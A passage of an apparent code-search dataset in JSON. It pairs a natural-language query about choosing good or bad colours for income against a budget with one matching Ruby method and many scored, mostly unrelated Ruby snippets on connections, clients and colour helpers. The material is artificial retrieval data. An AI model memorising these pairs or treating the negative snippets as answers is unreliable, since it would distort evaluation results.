},
{
"docid": "76a408559b23a09ce6f808ee95b5ea11",
"score": "0.53877515",
"text": "def with_connection\n c = @pool.checkout\n yield c\n ensure\n @pool.checkin(c)\n end",
"title": ""
},
{
"docid": "b7b00d7a29bbe5d40daa274d07fbace8",
"score": "0.53782576",
"text": "def connect(&block)\n FFI.lib = lib.join('libtorque.so')\n cid = FFI.pbs_connect(host)\n FFI.raise_error(cid.abs) if cid < 0 # raise error if negative connection id\n begin\n value = yield cid\n ensure\n FFI.pbs_disconnect(cid) # always close connection\n end\n FFI.check_for_error # check for errors at end\n value\n end",
"title": ""
},
{
"docid": "cdfcef8e03d797677cb3ce8a90d94610",
"score": "0.5371932",
"text": "def client\n @client ||= create_client()\n end",
"title": ""
},
{
"docid": "0435ec75f8f73cfa79022b76c25561d5",
"score": "0.53698057",
"text": "def config\n client = Client.new\n yield client\n self.client = client\n end",
"title": ""
},
{
"docid": "7448ab746f7a5f53085268a6815cfed2",
"score": "0.53639424",
"text": "def client\n\t\t\t\tAsync::HTTP::Client.new(client_endpoint)\n\t\t\tend",
"title": ""
},
{
"docid": "ee3affd4203f85b6d4a7c6092f556f93",
"score": "0.53552485",
"text": "def connect(&block)\n\t\t\t\tinput = Body::Writable.new\n\t\t\t\t\n\t\t\t\tresponse = @client.connect(@address.to_s, @headers, input)\n\t\t\t\t\n\t\t\t\tpipe = Body::Pipe.new(response.body, input)\n\t\t\t\t\n\t\t\t\treturn pipe.to_io unless block_given?\n\t\t\t\t\n\t\t\t\tbegin\n\t\t\t\t\tyield pipe.to_io\n\t\t\t\tensure\n\t\t\t\t\tpipe.close\n\t\t\t\tend\n\t\t\tend",
"title": ""
},
{
"docid": "aa2b5e69017ec719eb8a950020f43b35",
"score": "0.53505385",
"text": "def get(options = {}, &block)\n wait_for_sync = options.fetch(:wait_for_sync, true)\n deferrable = Ably::Util::SafeDeferrable.new(logger)\n\n result_block = lambda do\n present_members.tap do |members|\n members.keep_if { |member| member.connection_id == options[:connection_id] } if options[:connection_id]\n members.keep_if { |member| member.client_id == options[:client_id] } if options[:client_id]\n end.tap do |members|\n safe_yield block, members if block_given?\n deferrable.succeed members\n end\n end\n\n if !wait_for_sync || sync_complete?\n result_block.call\n else\n # Must be defined before subsequent procs reference this callback\n reset_callbacks = nil\n\n in_sync_callback = lambda do\n reset_callbacks.call if reset_callbacks\n result_block.call\n end\n\n failed_callback = lambda do |error|\n reset_callbacks.call if reset_callbacks\n deferrable.fail error\n end\n\n reset_callbacks = lambda do\n off(&in_sync_callback)\n off(&failed_callback)\n channel.off(&failed_callback)\n end\n\n unsafe_once(:in_sync, &in_sync_callback)\n unsafe_once(:failed, &failed_callback)\n\n channel.unsafe_once(:detaching, :detached, :failed) do |error_reason|\n failed_callback.call error_reason\n end\n end\n\n deferrable\n end",
"title": ""
},
{
"docid": "745114022557c6deff85db007ea7f7c4",
"score": "0.53485805",
"text": "def redis\n if options.client.respond_to?(:with)\n options.client.with { |redis| yield redis }\n else\n yield options.client\n end\n end",
"title": ""
},
{
"docid": "3c902aab6e6c8afbc5e8fb76dd925240",
"score": "0.53472173",
"text": "def client\n self\n end",
"title": ""
},
{
"docid": "e31d7f50dbc33ec220c06422536542f0",
"score": "0.5346068",
"text": "def receive\n verify_config\n\n options = Hash.new\n [:host, :port, :user, :pass, :vhost].each do |arg|\n if @config['rabbitmq'].has_key? arg.to_s\n options[arg] = @config['rabbitmq'][arg.to_s]\n end\n end\n\n conn = Bunny.new options\n conn.start\n\n ch = conn.create_channel\n queue = ch.queue(@config['rabbitmq']['queue_name'])\n\n queue.subscribe :block => true do |_, _, msg|\n yield msg\n end\n end",
"title": ""
},
{
"docid": "3289d6e0b6cdaf537e625397a8b88bb0",
"score": "0.5334325",
"text": "def client\n @client ||= Hackernews::Client.new\n end",
"title": ""
},
{
"docid": "92f0f0340581eba4c32172dab2f8d15d",
"score": "0.53274965",
"text": "def get( key )\n obj = @service.jservice.get_object( @jbucket.name, key )\n yield obj\n nil\n ensure\n if obj\n din = obj.data_input_stream\n din.close if din\n end\n end",
"title": ""
},
{
"docid": "da75293cbd72db8ee37d07b5094040da",
"score": "0.53158754",
"text": "def do_subscribe(channel, options = {}, &block)\n STDERR.puts \"#{url}: connecting\"\n said_hello = true\n if options[:hello]\n said_hello = false\n end\n \n url = File.join(@url, channel)\n uri = URI(url)\n Net::HTTP.start(uri.host, uri.port) do |http|\n request = Net::HTTP::Get.new uri.request_uri\n http.request request do |response|\n message = Struct.new(:data, :id, :event).new\n message.data = []\n flush = lambda do\n unless message.data.empty?\n yield message.event, message.data.join(\"\\n\"), message.id\n message.data.clear\n end\n message.event = message.id = nil\n end\n \n response.read_body do |chunk|\n unless said_hello\n yield :subscribed, nil, nil\n said_hello = true\n end\n \n # The String#split limit parameter: \n #\n # \"... If negative, there is no limit to the number of fields\n # returned, <b>and trailing null fields are not suppressed.</b>\"\n # (http://www.ruby-doc.org/core-1.9.3/String.html#method-i-split)\n lines = chunk.split(\"\\n\", -1)\n \n lines.each do |line|\n key, value = *line.split(/: ?/, 2)\n \n case key\n when nil then flush.call\n when \"id\" then message.id = value\n when \"event\" then message.event = value\n when \"data\" then message.data << value\n end\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "23db59d4590b45c00dc3935348bbea97",
"score": "0.5312426",
"text": "def client\n @_client ||= super\n end",
"title": ""
},
{
"docid": "0cce34a1a3ab614aa49a58bf36083b29",
"score": "0.53104734",
"text": "def subscribe *args, &block\n raise \"WebSocket / SSE connection missing\" unless _pl__client\n if(block)\n _pl__client.subscribe *args, &block\n else\n _pl__client.subscribe *args\n end\n end",
"title": ""
},
{
"docid": "6ead43e02e7617f3cd5a94e8e64ef05a",
"score": "0.53007233",
"text": "def connection\n # amqp://guest:guest@127.0.0.1:5672\n @connection ||= Bunny.new.tap(&:start)\n end",
"title": ""
},
{
"docid": "8cce028e357aa704cfeaaf6c256efa40",
"score": "0.5299744",
"text": "def test_pub_sub1()\n conn = Scalaroid::PubSub.new()\n conn.close_connection()\n end",
"title": ""
},
{
"docid": "4cc7ab5678185365ff21ceea31efe851",
"score": "0.5295726",
"text": "def consume(&block)\n data = @client.rpop( name )\n return if data.nil?\n message = ::Qup::Message.new( data.object_id, data )\n @open_messages[message.key] = message\n if block_given? then\n yield_message( message, &block )\n else\n return message\n end\n end",
"title": ""
},
{
"docid": "c4d77d2ef239b3e4a1bad191e0643127",
"score": "0.52885705",
"text": "def connected\n _websocket_client.callback do\n subscribe\n yield\n end\n end",
"title": ""
},
{
"docid": "95bff87d49a91b3d614543216ddcc505",
"score": "0.5283542",
"text": "def subject\n @subject ||= connection.get(path_prefix).body['clients']\n end",
"title": ""
}
] |
ee7f27f84f53188925118cca44c71325
|
To find color to display good or bad based on budget and actual values for income
|
[
{
"docid": "da07cc3dfc51b5aed6580242fa98c3cf",
"score": "0.88070846",
"text": "def income_color(actual, budget)\n (actual >= budget) ? 'green' : 'red'\n end",
"title": ""
}
] |
[
{
"docid": "8750c92793ed5e402c114c392daaa8ae",
"score": "0.8457562",
"text": "def expense_color(actual, budget)\n (actual > budget) ? 'red' : 'green'\n end",
"title": ""
},
{
"docid": "6d121e562d944e43a2cdc71213233022",
"score": "0.64137775",
"text": "def lise_color(ise_type)\n if ise_type == 'Income'\n 'lightblue'\n else\n if ise_type == 'Saving'\n 'lightgreen'\n else\n ise_type == 'Expense' ? 'rgb(245, 204, 202)' : '#e6d3f0'\n end\n end\n end",
"title": ""
},
{
"docid": "65557499dd652f64a720d232a6d0ea9f",
"score": "0.619003",
"text": "def color\n red = \"fb0e0e\"\n \n if (dependency.cves.map(&:score).compact.max || 0) >= 7\n return red\n end\n \n case dependency.obsolescence\n when :mild then \"dde418\"\n when :moderate then \"f9b733\"\n when :severe then red\n else \"4dda1b\"\n end\n end",
"title": ""
},
{
"docid": "d6bcee70ecfc45a4e3c39ad3f3b66616",
"score": "0.61877465",
"text": "def guess_color(r,g,b)\n my_color = \"unknown\"\n hue = self.color_intensity(r,g,b)\n percent=hue\n \n return my_color =\"red\" if ( r > 200 and g < 50 and b <50 ) #red\n \n return my_color =\"jtarget_yellow\" if ( \n ( r > 117 and g > 117 and b < 50 ) and\n ( (r == g) or ( ( (g - 50) > b) and ( ( r - 50) > b ) )) \n ) #yellow\n \n return my_color =\"blue\" if ( r < 120 and b > 198) #blue\n \n return my_color =\"white_icon\" if ( r>160 and g> 100 and b > 150 ) #white\n \n return my_color =\"black\" if ( r < 40 and g < 40 and b < 40 ) #black\n \n return my_color =\"blue_speed\" if ( \n ( r> 65 and r<145) and ( g > 124 and g < 155) and ( b > 155 and b < 200 )\n ) \n return my_color =\"grey_speed\" if ( \n ( r> 65 and r<190) and ( g > 65 and g < 190) and ( b > 65 and b < 190 ) and \n ( \n ( hue > (r - 5)) and ( hue > (g - 5)) and (hue > (b - 5 )) \n ) \n )\n #my_color = \"#{my_color}:#{hue}\"\n return my_color\n end",
"title": ""
},
{
"docid": "f437b040c25e0d0f245d4b26d813d1b7",
"score": "0.6127858",
"text": "def color_dominance\n red = 0\n green = 0\n blue = 0\n array = self.average_attributes\n array.each do |row|\n red += row[0]\n green += row[1]\n blue += row[2]\n end\n\n if red > green && red > blue\n self.color_dom = 3\n elsif green > blue && green > red\n self.color_dom = 2\n elsif blue > green && blue > red\n self.color_dom = 1\n elsif red == green\n self.color_dom = 3\n elsif blue == green\n self.color_dom = 1\n else\n self.color_dom = 1\n end\n end",
"title": ""
},
{
"docid": "61867365e1b25e461ef0d05d3ebbd281",
"score": "0.61137855",
"text": "def color_to_use\n case self.data[:overall_score]\n when -1000...40\n 'ff6666'\n when 40...100\n '558000'\n when 100...250\n '63b319'\n when 250...10_000\n '72CC1D'\n else\n '558000' # this shouldn't happen\n end\n end",
"title": ""
},
{
"docid": "61867365e1b25e461ef0d05d3ebbd281",
"score": "0.61137855",
"text": "def color_to_use\n case self.data[:overall_score]\n when -1000...40\n 'ff6666'\n when 40...100\n '558000'\n when 100...250\n '63b319'\n when 250...10_000\n '72CC1D'\n else\n '558000' # this shouldn't happen\n end\n end",
"title": ""
},
{
"docid": "8c6aa7b8869d60b4edaec98e2ec20d20",
"score": "0.6068387",
"text": "def evaluate_color(change)\n # for a loss, give a shade of red\n if change < 0\n change = [-change, CHANGE_LIMIT].min\n color = LIFX::Color.rgb(255*change/CHANGE_LIMIT, 0, 0)\n # for a gain, give a shade of green\n elsif change > 0\n change = [change, CHANGE_LIMIT].min\n color = LIFX::Color.rgb(0, 255*change/CHANGE_LIMIT, 0)\n # otherwise (e.g. no change), give white\n else\n color = LIFX::Color.rgb(255, 255, 255)\n end\n end",
"title": ""
},
{
"docid": "bbdab7937dfbd6a9d1cef96ff0a9d4cf",
"score": "0.5955564",
"text": "def colored_due_explaination(override_explaination=nil)\n mycolor = case due_explaination\n when 'overdue' ; :red \n when 'close' ; :yellow \n when 'far' ; :green \n else ; :gray\n #default ; :gray\n end\n return colora(mycolor, override_explaination || due_explaination)\n end",
"title": ""
},
{
"docid": "ba8863daa98e1b6b1fd2f55697598c25",
"score": "0.58929485",
"text": "def hp_color\n return knockout_color if @actor_data[4] == 0\n return crisis_color if @actor_data[4] < @actor_data[5] / 4\n return normal_color\n end",
"title": ""
},
{
"docid": "f26d803b10fe9ef7c2ae8206a75e794f",
"score": "0.5860019",
"text": "def color(category)\n score = overall(category)\n if score > 3.5\n color = \"#73BF8F\"\n elsif score > 2.5\n color = \"#FFE270\"\n else\n color = \"#F1807E\"\n end\n color\n end",
"title": ""
},
{
"docid": "49268a4926f8d948627fad8acacbd7b8",
"score": "0.58235675",
"text": "def health_color\n health_percent = @current_hp.to_f / @max_hp * 100\n return :green if health_percent > 60\n return :light_yellow if health_percent > 25\n\n return :red\n end",
"title": ""
},
{
"docid": "5bf6e1f439c710b7ea383212178744b7",
"score": "0.5790569",
"text": "def overall_color\n score = overall_total\n if score > 70\n color = \"#73BF8F\"\n elsif score > 60\n color = \"#FFE270\"\n else\n color = \"#F1807E\"\n end\n color\n end",
"title": ""
},
{
"docid": "491bc543786fc4507fe101ebee69631c",
"score": "0.57902944",
"text": "def color_classification\n if self.value > 0\n return \"positive\"\n elsif self.value == 0\n return \"neutral\"\n else return \"negative\"\n end\n end",
"title": ""
},
{
"docid": "511ff213a95a05db2bd4a63e4b155a7a",
"score": "0.5764916",
"text": "def color\n ingredients.include?(:milk) ? :light : :dark\n end",
"title": ""
},
{
"docid": "d2dd86a6e72e21f04ea75949226a5d2a",
"score": "0.57495123",
"text": "def health_color\n value = \"\"\n case hunger_state\n when :no\n\n when :a_bit\n value = \"orange\"\n when :alot\n value = \"red\"\n end\n value \n end",
"title": ""
},
{
"docid": "4086ca30baf31bbc546b981e4ef1e62e",
"score": "0.57492834",
"text": "def base_color(summary)\n { 'clear-day' => '3ec3f5', 'clear-night' => '0d3779',\n 'rain' => '246dea',\n 'snow' => '88b5e3',\n 'sleet' => '65b9c2',\n 'wind' => 'aac399',\n 'fog' => '8ac5ae',\n 'cloudy' => '8ac5ae',\n 'partly-cloudy-day' => '9cc0c2', 'partly-cloudy-night' => '7996a7'\n }[summary] || 'cccccc'\n end",
"title": ""
},
{
"docid": "8390570fe5e91b3756bc2f2e7ab2412c",
"score": "0.56722957",
"text": "def confidenceColorCheck(entry)\n\tconfidence = entry[:confidence]\n\n\tif confidence == nil\n\t\tconfidence = 0\n\tend\n\n\tif confidence >= 0.95\n\t\tcoloredEntry = confidence.round(3).to_s.green\n\telsif confidence >= 0.92 and confidence < 0.95\n\t\tcoloredEntry = confidence.round(3).to_s.yellow\n\telsif confidence > 0.80 and confidence < 0.92\n\t\tcoloredEntry = confidence.round(3).to_s.magenta\n\telse\n\t\tcoloredEntry = confidence.round(3).to_s.red\n\tend\n\n\treturn coloredEntry\nend",
"title": ""
},
{
"docid": "020f62a2a6f4779d118cf1f5002b1bc9",
"score": "0.56413406",
"text": "def color_from_vote_count(positive, neutral, negative)\n \n #Rails.logger.error '**********BEGIN********'\n #Rails.logger.error 'positive = %{u}' % { :u => positive }\n #Rails.logger.error 'neutral= %{n}' % { :n => neutral }\n #Rails.logger.error 'negative= %{d}' % { :d => negative }\n \n #set red as the default\n color = 'cb0223' #red\n \n #neutral wins if greater or equal to negative\n if neutral >= negative\n color = 'F88017'\n end\n \n #positive wins if great than neutral and greater or equal to negative\n if positive > neutral and positive >= negative\n color = '23b62a'\n end \n \n #Rails.logger.error 'color= %{c}' % { :c => color }\n #Rails.logger.error '**********END********'\n \n return color\n end",
"title": ""
},
{
"docid": "93044bfc5c0d74610336340d74e71f22",
"score": "0.56382614",
"text": "def get_team_color(response_map)\n # Storing redundantly computed value in a variable\n assignment_created = @assignment.created_at\n # Storing redundantly computed value in a variable\n assignment_due_dates = DueDate.where(parent_id: response_map.reviewed_object_id)\n # Returning colour based on conditions\n if Response.exists?(map_id: response_map.id)\n if !response_map.try(:reviewer).try(:review_grade).nil?\n 'brown'\n elsif response_for_each_round?(response_map)\n 'blue'\n else\n obtain_team_color(response_map, assignment_created, assignment_due_dates)\n end\n else\n 'red'\n end\n end",
"title": ""
},
{
"docid": "1492faabd4014b701783775f5409cd79",
"score": "0.56378716",
"text": "def color_for_index(index_value)\n item_count = Decision.count\n index_value == 0 ? val = 0 : val = index_value.to_f / item_count.to_f * 0.7\n\n UIColor.colorWithRed(1.0, green: val, blue: 0.0, alpha: 1.0)\n end",
"title": ""
},
{
"docid": "df255108306295e4589bbc42d47d97e7",
"score": "0.56226766",
"text": "def random_bet\n random_percentage = Random.new\n random_percentage = random_percentage.rand(1...100)\n if random_percentage < 3\n Round.create(result_color: 0)\n elsif random_percentage > 3 && random_percentage >= 52\n Round.create(result_color: 1)\n else\n Round.create(result_color: 2)\n end\n end",
"title": ""
},
{
"docid": "674ce6bafd86ee83fb8dc9fd98a1b5ad",
"score": "0.56178945",
"text": "def income\n bf_income + lunch_income + din_income + dorm_income + hh_income + lodge_income + fac_income\n end",
"title": ""
},
{
"docid": "5471132e6f4caf158823e43ac803d440",
"score": "0.5617523",
"text": "def color\n case self.rating\n when 1\n \"poor\"\n when 2\n \"mediocre\"\n when 3\n \"satisfactory\"\n when 4\n \"good\"\n when 5\n \"very-good\"\n end\n end",
"title": ""
},
{
"docid": "2cd1c3e1ce2cac1dc79e2f32b1854c25",
"score": "0.56037176",
"text": "def green_red_values\n if self.value > 0\n return 1, 0\n elsif self.value == 0\n return 0.5, 0.5\n else return 0, 1\n end\n end",
"title": ""
},
{
"docid": "24918c65c41a2ee0e73c1d0bc10d7322",
"score": "0.5595709",
"text": "def problem\n Rainbow(judge.charge).red\n end",
"title": ""
},
{
"docid": "263e7cac9ef304e17e6e4ab125aebca5",
"score": "0.55939317",
"text": "def cash_on_cash_roi\n\t\t(cash_flow * 12 / total_cash_needed * 100).round(2)\n\tend",
"title": ""
},
{
"docid": "a63cfd9811e7bb7039a48d4b88fe22de",
"score": "0.55846274",
"text": "def report_budget()\n total = Transaction.total()\n case\n when total > (@budget * 0.75) && total < @budget\n return \"#{@budget} Watch your spending; you're close to your budget.\"\n when @budget < total\n return \"#{@budget} Warning! Budget Exceeded!\"\n when @budget > total\n return \"#{@budget} On track to meet your budget.\"\n end\n end",
"title": ""
},
{
"docid": "3117e316db9b2bea955fc41c5757d6df",
"score": "0.5561154",
"text": "def grade_color(grade)\n if grade < 70\n 'red'\n elsif grade < 80\n 'yellow'\n elsif grade < 90\n 'blue'\n else\n 'green'\n end\n end",
"title": ""
},
{
"docid": "52e6c7db1dcf9f70ec7b07696969d971",
"score": "0.5545102",
"text": "def wres_net_income_operation_summary_report\n @divide = 1\n if @operating_statement.length > 1 and @operating_statement['net operating income']\n @divide = 1\n if !@operating_statement['operating expenses'].nil?\n @divide = (@operating_statement['operating expenses'][:actuals].abs > @operating_statement['operating income'][:actuals].abs) ? @operating_statement['operating expenses'][:actuals].abs : @operating_statement['operating income'][:actuals].abs\n end\n @net_income_de={}\n @net_income_de['diff'] = (@operating_statement['net operating income'][:budget] - @operating_statement['net operating income'][:actuals]).abs\n percent = ((@net_income_de['diff']*100) / @operating_statement['net operating income'][:budget]).abs rescue ZeroDivisionError\n if @operating_statement['net operating income'][:budget].to_f==0\n percent = ( @operating_statement['net operating income'][:actuals].to_f == 0 ? 0 : -100 )\n end\n @net_income_de['diff_per'] = percent #((@net_income_de['diff']*100) / @operating_statement['net operating income'][:budget]).abs\n @net_income_de['diff_word'] = (@operating_statement['net operating income'][:budget] > @operating_statement['net operating income'][:actuals]) ? 'below' : 'above'\n @net_income_de['diff_style'] = (@net_income_de['diff_word'] == 'above') ? 'greenrow' : 'redrow'\n end\n end",
"title": ""
},
{
"docid": "38ad875578b8cd2f892dd636d2b54b13",
"score": "0.55440944",
"text": "def color\n if object.pending?\n 'blue'\n elsif object.accepted?\n 'green'\n elsif object.canceled?\n 'red'\n end\n end",
"title": ""
},
{
"docid": "73106a8a561b55fd8e5f70ec8757c6da",
"score": "0.55371416",
"text": "def hp_color(actor)\n return knockout_color if actor.hp == 0\n return crisis_color if actor.hp < actor.maxhp / 4\n return normal_color\n end",
"title": ""
},
{
"docid": "93068035538ab494dd438878b3d4b28f",
"score": "0.55363387",
"text": "def color\n if not @title\n 'blank'\n elsif @warnings\n 'missing'\n elsif @missing\n 'missing'\n elsif Pending.rejected.include? @attach\n 'rejected'\n elsif @approved\n if @approved.length < 5\n 'ready'\n elsif @comments\n 'commented'\n else\n 'reviewed'\n end\n elsif @text or @report\n 'available'\n elsif @text === undefined\n 'missing'\n else\n 'reviewed'\n end\n end",
"title": ""
},
{
"docid": "3b32b48c7e67e9231bf8f792ffe46051",
"score": "0.553068",
"text": "def state_colour(state)\n case state\n when :no_data_critical then 'purple' # Ping logging has failed for all hosts Beyond the RED LIMIT\n when :no_data_warning then 'blue' # Ping logging has failed for all hosts Beyond the ORANGE LIMIT\n when :critical then 'red' # Beyond the RED_LIMIT for a host\n when :warning then 'orange' # Beyond the ORANGE LIMIT for a host\n when :ok then 'green' # Within the JITTER LIMIT for a host\n when :unknown then 'black' # Dont know the state of a host. No record in the DB. The host is new, or not in the fping hosts file.\n else 'black' # rubocop:disable Lint/DuplicateBranch catch all. Shouldn't be possible.\n end\n end",
"title": ""
},
{
"docid": "627402d60d011e49db000ec6084ddbe9",
"score": "0.5522076",
"text": "def form_hash_of_data_for_occupancy(actuals,budget)\n val ={:actuals =>actuals,:budget =>budget}\n variant = val[:budget].to_f.abs-val[:actuals].to_f.abs\n percent = variant*100/val[:budget].to_f.abs rescue ZeroDivisionError\n percent = ( val[:actuals].to_f == 0 ? 0 : -100 ) if val[:budget].to_f==0\n percent=0.0 if percent.to_f.nan?\n val[:percent],val[:variant],val[:status] = percent,variant,true\n return val\n end",
"title": ""
},
{
"docid": "1a1d40636f6596a4881ca028b4a74a26",
"score": "0.55162174",
"text": "def output_rated_value(value, zero_is_good = true)\n if zero_is_good\n if value == 0\n return value.to_s.green\n else\n return value.to_s.red\n end\n else\n if value == 0\n return value.to_s.red\n end\n\n return value.to_s.green\n end\n\n value.to_s.green\nend",
"title": ""
},
{
"docid": "d78b11e4d298c8b814d3262c2d312484",
"score": "0.551569",
"text": "def display_class\n return \"user-tr__red\" if self.amount >= 50\n return \"user-tr__orange\" if self.amount >= 25\n return \"user-tr__green\" if self.amount >= 10\n\n nil\n end",
"title": ""
},
{
"docid": "948c627b65c9ed9dbd693512b3187c74",
"score": "0.55141324",
"text": "def vary_colors; end",
"title": ""
},
{
"docid": "0c78eea193f0066c144d0309f0a9edca",
"score": "0.54966587",
"text": "def color_i\n if (failures + errors) > 0\n 0\n elsif skips > 0\n 1\n else\n 2\n end\n end",
"title": ""
},
{
"docid": "23039f6685e278afbd9d5890f24e106c",
"score": "0.54936945",
"text": "def html_green\n green = (102 + (knowledge_chance * 0.85)).to_i.to_s 16\n end",
"title": ""
},
{
"docid": "7606b0133494c473787cfaf2920b4a99",
"score": "0.54819864",
"text": "def good_or_bad(v=nil,specs={})\n specs={ :good_text=>'GOOD',\n :bad_text=>'BAD',\n :good_color=>'#ffffff',\n :good_background=>'#00ff00',\n :bad_color=>'#ffffff',\n :bad_background=>'#ff0000',\n :zero_good=>nil,\n :zero_bad=>nil,\n :nil_good=>nil,\n :nil_bad=>nil,\n :invert=>nil\n }.merge(specs)\n if v\n if specs[:invert]\n v=v*-1\n end\n if v>0\n background=specs[:good_background]\n color=specs[:good_color]\n text=specs[:good_text]\n elsif v<0\n background=specs[:bad_background]\n color=specs[:bad_color]\n text=specs[:bad_text]\n elsif specs[:zero_good]\n background=specs[:good_background]\n color=specs[:good_color]\n text=specs[:good_text]\n elsif specs[:zero_bad]\n background=specs[:bad_background]\n color=specs[:bad_color]\n text=specs[:bad_text]\n else\n return\n end\n '<span style=\"background: '+background+'; color: '+color+'; padding: 2px; font-weight: 600;\">'+text+'</span>'\n else\n if specs[:nil_good]\n background=specs[:good_background]\n color=specs[:good_color]\n text=specs[:good_text]\n return '<span style=\"background: '+background+'; color: '+color+'; padding: 2px; font-weight: 600;\">'+text+'</span>'\n elsif specs[:nil_bad]\n background=specs[:bad_background]\n color=specs[:bad_color]\n text=specs[:bad_text]\n return '<span style=\"background: '+background+'; color: '+color+'; padding: 2px; font-weight: 600;\">'+text+'</span>'\n end\n end\n end",
"title": ""
},
{
"docid": "fe8ff462437c03926d962a22aab2d59d",
"score": "0.5479368",
"text": "def color_div_total(avg,ea8,symbol)\n\t\tif !ea8.blank? && !avg.blank? && !symbol.blank?\n\t\t\tif ['Maths_Points_Score','English_Points_Score'].include? symbol \n\t\t\t\texpected = (ea8.to_f/10)\n\t\t\t\tif avg < expected-1 \n\t\t\t\t\tcolor = 'below_color'\n\t\t\t\telsif avg < expected\n\t\t\t\t\tcolor = 'one_below_color'\n\t\t\t\telsif avg < expected+1\n\t\t\t\t\tcolor = 'on_track_color'\n\t\t\t\telsif avg >= expected+1\n\t\t\t\t\tcolor = 'above_color'\n\t\t\t\tend\n\t\t\telsif ['Other Ebacc Subjects','Other Subjects'].include? symbol\n\t\t\t\texpected = (ea8.to_f/10)*3\n\t\t\t\tif avg < expected-3 \n\t\t\t\t\tcolor = 'below_color'\n\t\t\t\telsif avg < expected\n\t\t\t\t\tcolor = 'one_below_color'\n\t\t\t\telsif avg < expected+3\n\t\t\t\t\tcolor = 'on_track_color'\n\t\t\t\telsif avg >= expected+3\n\t\t\t\t\tcolor = 'above_color'\n\t\t\t\tend\n\t\t\telsif ['Attainment 8','Progress 8','Value Added'].include? symbol\n\t\t\t\tif symbol == 'Attainment8'\n\t\t\t\t\tavg = (avg-ea8)/10\n\t\t\t\telsif symbol == 'Progress 8'\n\t\t\t\t\tavg = avg/10\n\t\t\t\telsif symbol == 'Value Added'\n\t\t\t\t\n\t\t\t\tend\n\t\t\t\tif avg<-0.5\n\t\t\t\t\tcolor = 'black_color'\n\t\t\t\telsif avg<0\n\t\t\t\t\tcolor = 'below_color'\n\t\t\t\telsif avg <1\n\t\t\t\t\tcolor = 'one_below_color'\n\t\t\t\telsif avg <2\n\t\t\t\t\tcolor = 'on_track_color'\n\t\t\t\telsif avg >=2\n\t\t\t\t\tcolor = 'above_color'\n\t\t\t\tend\n\t\t\telse \n\t\t\tcolor = \"\"\n\t\t\tend\n\t\t\treturn color\n\t\tend\n\tend",
"title": ""
},
{
"docid": "6e89b332810aeb88a75bd88b416459c7",
"score": "0.5472813",
"text": "def income_tier\n if @annual_income.nil? || @annual_income < 100000\n 'Tier 1'\n elsif @annual_income >= 100000 && @annual_income < 200000\n 'Tier 2'\n else\n 'Tier 3'\n end\n end",
"title": ""
},
{
"docid": "6e89b332810aeb88a75bd88b416459c7",
"score": "0.5472813",
"text": "def income_tier\n if @annual_income.nil? || @annual_income < 100000\n 'Tier 1'\n elsif @annual_income >= 100000 && @annual_income < 200000\n 'Tier 2'\n else\n 'Tier 3'\n end\n end",
"title": ""
},
{
"docid": "2b8895706f0f16a0aedcf58113e39b46",
"score": "0.5470475",
"text": "def get_color_for_asistencia(asistencia)\n \"style='color: red'\" if asistencia.to_i < 65\n end",
"title": ""
},
{
"docid": "de951c2a0a876585c2f72c7d4250eca5",
"score": "0.54700077",
"text": "def ui_status \n if self.bomb_state == true && self.revealed == true\n @ui_val = \"B\".colorize(:red)\n elsif self.revealed == false \n @ui_val.colorize(:green)\n else\n @ui_val = adjacent_bombs_count.to_s.colorize(:magenta)\n end\n end",
"title": ""
},
{
"docid": "688bddff7fba95a47e4e2fd4685e6dfc",
"score": "0.54637796",
"text": "def get_color_for_ordinario(asistencia)\n \"style='color: red'\" if asistencia.to_i < 85\n end",
"title": ""
},
{
"docid": "e79ccf59b35fab62cb3f448d758c0bce",
"score": "0.54634035",
"text": "def gross_profit\n sales - cogs\n end",
"title": ""
},
{
"docid": "0380c75495f967b41268beb4cf5e04f1",
"score": "0.5460513",
"text": "def find_discount\n total = total_price\n if total > 100\n { description: '20% off on total greater than $100', factor: 0.2 }\n elsif total > 50\n { description: '15% off on total greater than $50', factor: 0.15 }\n elsif total > 20\n 0.1\n { description: '10% off on total greater than $20', factor: 0.1 }\n else\n false\n end\n end",
"title": ""
},
{
"docid": "3fc309d98203921a6157a9580912719c",
"score": "0.545966",
"text": "def calorie_cutoffs\n case calories\n when 0...400 then :'#246A73'\n when 400..600 then :'#E87EA1'\n when 600..1000 then :'#F8F32B'\n end\n end",
"title": ""
},
{
"docid": "57e2ac660b12afa3d0dae3e106abeca0",
"score": "0.5441955",
"text": "def yellow\n @y * 100.0\n end",
"title": ""
},
{
"docid": "a927e2ec48e13ae7932c9111f1a47f0e",
"score": "0.54386055",
"text": "def proper_color(value)\n return COLORS[0] if @default.nil?\n x = value\n x = eval(@formula) if @formula != nil\n compare = x <=> @default\n compare *= -1 if @reverse\n COLORS[compare]\n end",
"title": ""
},
{
"docid": "22d74fdbeffc750a11eb770aa1751623",
"score": "0.5435431",
"text": "def compatibility_score_color(score)\n if score > 0.75\n 'green'\n elsif score > 0.25\n 'yellow'\n else\n 'white'\n end\n end",
"title": ""
},
{
"docid": "30af964aab4cdc2b2305651a84d1e1b3",
"score": "0.5421952",
"text": "def quest_objective_colour(quest, obj_id)\n return if !quest\n quest = $game_party.quests[quest] if quest.is_a?(Integer)\n s = [:failed, :complete, :active].find { |status| quest.objective_status?(status, obj_id) }\n text_color(QuestData::COLOURS[s])\n end",
"title": ""
},
{
"docid": "b0416ef55971fff0b7043a9d82282ae6",
"score": "0.5421635",
"text": "def color(pc)\n return \"rgb(170,170,20)\" if pc.nan?\n pcAdj = (100 - 100*Math.log(0.1+pc,10)).to_i.clamp(0,100)\n return \"rgb(\"+hsv_to_rgb(0,pcAdj,70).map(&:to_s).join(\",\")+\")\"\nend",
"title": ""
},
{
"docid": "19cb8df55b61168f891ee74ccedad713",
"score": "0.5419552",
"text": "def show\n if @incomes = @budget.incomes.all\n @income_total = @incomes.sum('amount')\n else\n @income_total = 0\n end\n \n if @expenses = @budget.expenses.order(:category)\n @expense_total = @expenses.sum('amount')\n else\n @expense_total = 0\n end\n \n @summary = @income_total - @expense_total\n if @summary > 0\n @surplus_or_deficit = \"Monthly Surplus\"\n @panel_type = \"success\"\n elsif @summary < 0\n @surplus_or_deficit = \"Monthly Deficit\"\n @panel_type = \"danger\"\n else\n @surplus_or_deficit = \"Balanced Budget\"\n @panel_type = \"warning\"\n end\n end",
"title": ""
},
{
"docid": "573a677022e8da0403e2e5507efb13fe",
"score": "0.54142874",
"text": "def strength_css_class(covered_strength)\n if covered_strength > 1\n 'green'\n elsif covered_strength == 1\n 'yellow'\n else\n 'red'\n end\n end",
"title": ""
},
{
"docid": "4be3c76e47a740b770274b4bf9936574",
"score": "0.5413811",
